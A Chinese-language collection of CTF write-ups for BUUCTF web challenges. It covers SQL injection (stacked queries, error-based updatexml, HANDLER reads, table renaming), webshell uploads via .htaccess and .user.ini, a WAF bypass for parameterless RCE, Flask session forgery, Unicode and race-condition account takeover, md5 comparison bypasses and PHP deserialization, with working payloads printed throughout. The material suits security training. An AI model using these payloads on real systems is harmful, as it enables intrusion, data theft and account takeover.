buu题目合集(一)
记录一些刷题的做法与思路
0x01 [强网杯 2019]随便注
简单题目,但是姿势很多
直接是GET传参,首先要找闭合的符号.
输入payload:1" and 1=1--+能正常执行,但是换成1" and 1=2--+也能执行,判断"并不符合
在试1' and 1=1--+,能正常查询,换1' and 1=2--+不能执行,可知'才是闭合符号.
打入1' union select database()--+,回显有waf
select被过滤,尝试一下经典的几个绕过un/**/ion se/**/lect、/*!%55NiOn*/ /*!%53eLEct*/等都不能绕过.
尝试堆叠注入,1';show databases--+能成功

先查当前数据库中的内容,
1';show tables--+ |

接下来就是读字段的问题。
第一种方法、能堆叠注入就能执行sql语法,就能拼接出select
1';set @sql=concat('s','elect flag from `1919810931114514`');PREPARE q FROM @sql;EXECUTE q;--+ |
先构造查询语句,再执行构造出的语句
第二种方法,看别的师傅的方法真的太骚了,使用了题目原来就有的select语句
修改表名与字段名,添加上id字段,就是将友flag的表结构构造成words表一样,使原来的查询语句将flag查出
使用:
1';show columns from words;--+ |
查询两个表的结构、
words:

1919810931114514表:

需要添加一个id字段,将flag字段名改成data
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALERT TABLE words change flag data VARCHAR(100);--+ |
然后直接查12就能查出flag
0x02 [SUCTF 2019]EasySQL
写这个题之前那需要了解几个sql的知识点:
1、select 1 from table;
此sql语句查询结果是临时建立一列,每行的值都是select后面的数字(字母则会报错),行数与表里的行数一致,可以用来查询表中是否有记录。
2、select 1||columns from table
在MySql中sql_mode默认是不设置pipes_as_concat
即||当作或运算使用,所以,上面的语句1||columns如果columns在表中存在,则相当于select 1 from table,结果跟上面的知识点一样

但是如果columns不在表中则会报错:
当然如果是0||0,相当于select 0 from table,则会查询出一列0
若sql_mode中设置了pipes_as_concat
即将||当成concat()来使用,将两个参数合并,会得到一下结果:

能查出正确的列并且在正确的值前面加上了另一个参数,如果是两个存在的列,则将两列的值合并

现在看回题目,无论输入任何数字,回显都一样:

输入字母则没有回显:

试试闭合的语句,大部分都没有回显,但是1"时,显示Nonono:

输入union、extractvalue、from、PREPARE、flag等等都是一样被过滤了,联合查询时不可能了
试试堆叠
1;show databases; |
能查询,查一下表注意看这里是有两个查询结果的


了解以上知识可以猜测,查询语句可能是,并且带有过滤
select $_POST['query'] || flag from table |
在上面查表的时候,前面时1的时候,第一个查询结果是数组1;为3时第一个结果是数组3,说明是执行了一个select 数值;的;也能说明我们的猜测很可能是正确的
所以在这里就有两种做法
一个是使用select *,借用后面的from语句查表,即
select *, 1||flag from Flag; |

另一个是将||变成concat()使用,即
query=1;set sql_mode=pipes_as_concat;select 1 |
分号截断了select,所以要带上select;可以看到flag前面还带有一个1
0x03 [极客大挑战 2019]Upload
明显的文件上传到但是文件格式限制为图片

bp抓包后改文件名,还是过滤很多后缀php、php5等等


修改phtml,能上传,但是检测<?字符串

换一个方式
<script language="php">phpinfo();</script> |
上传成功,但是猜测上传的路径是/upload。。。。。。。

执行成功,直接换成木马,蚁剑连接就行

0x04 [ACTF2020 新生赛]BackupFile
点开说让我们找源码,直接dirsearch扫一遍,buu设置了限制,要调整一下线程与延时
python3 dirsearch.py -s 2 -t 1 -u http://**** |
访问就能下载源码
|
可以看到是传入key,并且只能是数字,然后跟字符串"123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"比较
是php中的弱比较
所以直接传入key=123即可
0x05 [RoarCTF 2019]Easy Calc
输入表达式能计算结果,查看源代码是向calc.php发起了请求
<script> |
直接访问calc.php,能看到源码
|
能看到过滤了挺多字符,自增、取反等无字母都不行了,但是还能考虑无参数RCE
尝试传入num=phpinfo()
报错don't have permission,正常传入12*12能成功返回
多次测试只有数字跟运算符才可以,字母都不能访问,而且,前端源码写了设置了waf,应该就是waf的作用了
学习一下,waf可能是限制num必须是数字,例如某个防火墙:
alert http any any -> $HOME_NET any (\ |
以上规则就是限制参数只能是数字,但是结合php的字符串解析规则,当POST或GET传入的参数后,会进行解析,将参数名中的空白符删去;对特定的符号进行替换,例如将[替换成_等
这样一来就有方法进行绕过,%20num在waf中能通过,而且在php的解析中也能将值传给num
尝试?%20num=phpinfo()
能成功执行,于是采用无参数rce
首先是var_dump(scandir(chr(47))),查到有f1agg,构造读文件file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
0x06 [HCTF 2018]admin
先随便注册登录看看,
登录后带有cookie,在change password页面存在信息泄露,能明确是flask框架
那么session就能先尝试解密,用P神的解密脚本
#!/usr/bin/env python3 |
python3 session_decode.py cookie |
但是仓库已经失效了,直接找wp
解法一:
在config.py中有
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' |
使用脚本进行加密https://github.com/noraj/flask-session-cookie-manager
python3一直不能成功,换成python2,将name换成admin,密钥用ckj123,生成后替换cookie再次访问
解法二:Unicode欺骗
源码中使用了自己编写的函数strlow()将字符转换为小写字母
from twisted.wordsprotocols.jabber.xmpp stringprep import nodeprep |
nodeprep是由twisted导入的,在requirements.txt中是Twisted==10.2.0而最新版本是22.10.0,相差较大,搜索可知Twisted存在Unicode的问题
Twisted会进行unicode字符的转换
ᴬᴰᴹᴵᴺ -> ADMIN -> admin |
也就是说注册时使用ᴬᴰᴹᴵᴺ来注册会第一次调用strlow(),将ᴬᴰᴹᴵᴺ变成ADMIN,再去修改密码,再次调用strlow(),ADMIN会变成admin,密码也会修改,就能登陆成功
能看到注册后登录就是ADMIN,去修改密码即可
修改密码后登录admin能解出
解法三 条件竞争
网上找打一些关键源码
|
可以看到/login路由中,如果是POST请求过来,则会先对session["name"]进行赋值,再判断账户密码是否正确,这样一来,在登录的账户密码判断前,sessioon["name"]的值可以暂时由我们进行控制
再看/change路由中,如果由POST请求过来,则会获取session["name"]的值,对该账户名进行修改密码
那么就会存在我们使用admin来登录,即使他不能登录成功,但是session["name"]的值会改变,在session["name"]的值改变后,login()的逻辑结束之前,如果/change路由有POST请求过来,那么就会获取到admin的账户名,并且对他进行修改密码,那admin的密码就会被改变
贴出别的师傅的脚本
import requests |
0x07 [BJDCTF2020]Easy MD5
f12消息头中有hint
select * from 'admin' where password=md5($pass,true) |
先看看带有两个参数的md5()函数,第二个参数如果是true,则会将32位md5()的结果转换成16位的字符输出
那么我们就要构造
password = '***' or true |
这样类似的结构来实现注入
在mysql中,表示true的字符与php类似,"1ufif"、“1”、1等都是true
给出比较常用的ffifdyop
,经过md5()后转化的字符结果为'or'6É]é!r,ùíb就能使先闭合,输入后进入下一个网页
可以看见部分源码为:
|
是md5的弱比较绕过,直接传参
a=s1091221200a&b=s155964671a |
下一个源码
|
跟上一个差不多,到那时用了强比较,上面的payload就不行了,但是能用数组绕过,md5()函数不能处理数组,会返回NULL,可以相等
param1[]=1¶m2[]=2 |
0x08[极客大挑战 2019]BuyFlag
/pay.php源码泄露
|
传参不能是数字但是要求等于404,弱比较"404afdsgfdf" == 404
还要求是CUIT的学生,Cookie: uesr=1
要付钱post传参money=100000000,但是提示money过长,应该是有长度限制,传10e9
0x09 [MRCTF2020]你传你🐎呢
记录一下.htaccess文件的内容
<FilesMatch "shell"> |
此文件识别文件名含有shell的问及爱你,并将其解析为php文件
AddType application/x-httpd-php .png |
这个则将所有png文件解析为php
先上传.htaccess文件,将Content-Type修改为image/png;再上传相应的png木马图片
0x0A [ZJCTF 2019]NiZhuanSiWei
|
代码审计,text可用伪协议php://input
file也能使用伪协议读取一下useless.php的内容看看需要序列化的内容
//useless.php |
最后payload
GET /?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1 |
0x0B [极客大挑战 2019]HardSQL
按照题目名字是sql注入,但是过滤了空格、=等,fuzz一下看一下还有哪些
能看到update没被过滤可以尝试一下报错注入
经过尝试,闭合的符号是'.
先尝试updatexml()进行报错,即updatexml(目标xml文档,xml路径,更新的内容),如果or被过滤这里还能使用^来代替
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23 |
查一下表名,=被过滤但是还能用like,空格被过滤可以使用()来分隔
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23 |
查字段名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23 |
查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,%27~%27,password))from(H4rDsq1)),0x7e),1))%23 |
报错注入有字符长度限制,需要用到left()、right()函数来得到完整的信息
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23 |
还有一个函数是extractvalue(),跟上面的类似,但是这个函数只有两个参数,即extractvalue(目标xml文档,xml路径)
两个的注入语句都是再xml路径的位置,语句一样的就不重复写了
0x0C [SUCTF 2019]CheckIn
尝试上传图片马
内容过滤,上传<script language="php">phpinfo();</script>,能成功上传,并给出了路径与目录下的文件
但是并没有解析成功,尝试上传.htaccess文件,但是有文件格式过滤,报错exif_imagetype:not image!,加上GIF89a的文件头能绕过,成功上传.htaccess文件,但是仍然不能解析成功
参考这个文章,还可以使用.user.ini文件来进行包含外部文件
先看看.user.ini的介绍
.user.ini 文件 ¶ |
即,可以使用.user.ini文件来
更改php的配置,重点看auto_append_file、auto_prepend_file这两个参数的设置,可以设置包含外部文件,类似include()函数.
但是,要求上传的目录下存在可执行的php文件
#.user.ini |
js_phpinfo.png就是要包含的木马文件名,上传该配置文件后再上传js_phpinfo.png的木马文件
使用蚁剑连接
0x0D [网鼎杯 2020 青龙组]AreUSerialz
|
代码审计,先捋捋思路,通过控制op的值,能进行内容读写,但是对上传的序列化参数有限制,只能出现可见字符,但是FileHandler类的变量是protected类型的,序列化会出现0x00的不可见字符,需要绕过.php7.1+版本对属性类型不敏感,
所以可以直接使用public属性的变量就能绕过
还有就是__destruct()中,将content置空了,所以写文件没有多大作用,考虑读文件,要使if($this->op === "2")不成立,但是要使if($this->op == "2")成立,前者是强等于,后者是弱比较,所以op=2就能实现
|
0x0E [GXYCTF2019]BabySQli
给出登录框,尝试登录admin:admin,不出意外登陆失败,查看请求是pw=admin&name=admin
尝试sql注入,使用'不加注释就报错提示语法错误,加上注释就正常,能确定'是闭合符号
但是过滤了好多or, (), information_shema, order by, database等等,尝试admin' and 1 -- -跟admin' and 0 -- -时返回不一样,考虑是不是能bool盲注,但是又没有(),不能使用函数,也打不了
使用union select 1,2,3判断出字段数是3
注意到页面上给了一段注释的字符串
base32再base64
select * from user where username = '$name'
这么看只能从union下手了,看了下wp,密码上还存在MD5的绕过(这不看源码真想不到)
这就要说一下账号密码登录的后台的经典逻辑,先用传参的用户名到数据库里面进行查询select * from user where username = ?,从查询的结果中取出密码的值或者哈希值,再将传参的密码的值(或者哈希处理的值)进行比较
那么我们就能使用union的查询,改变后台的查询结果,控制密码的值或者哈希值与我们传参的密码相符合
那么我们就要知道应户名跟密码的所在的字段在那个位置,当使用a' union select 1,'admin',3 -- -是返回是wrong pass!,其他的都是wrong user!,说明用户名的位置就在第二个,那就猜测密码在第三个位置,所以要将密码(或者哈希值)放在union语句的第三个位置,这个题目里面的密码还用到了md5()处理,所以可以在sql语句里面插入md5的值,在传参pw为相应的字符;也可以使用md5绕过的方法,例如md5()不处理数组,会返回NULL,两个的payload分别如下:
name=a' union select 1,'admin','202cb962ac59075b964b07152d234b70' -- -&pw=123 |
0x0F [GYCTF2020]Blacklist
'闭合符号,直接注,可以union,堆叠,但是发现有过滤
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
先用堆叠看一下表结构 inject=0';show tables; -- -
select被过滤,报错注入联合注入都没有了,但是MYsql还有一个特有的轻量级查询语句Handler查询,可以尝试一下
-- 用法 |
所以我们用0';handler FlagHere open as fuck;handler fuck read first; -- -,直接就出了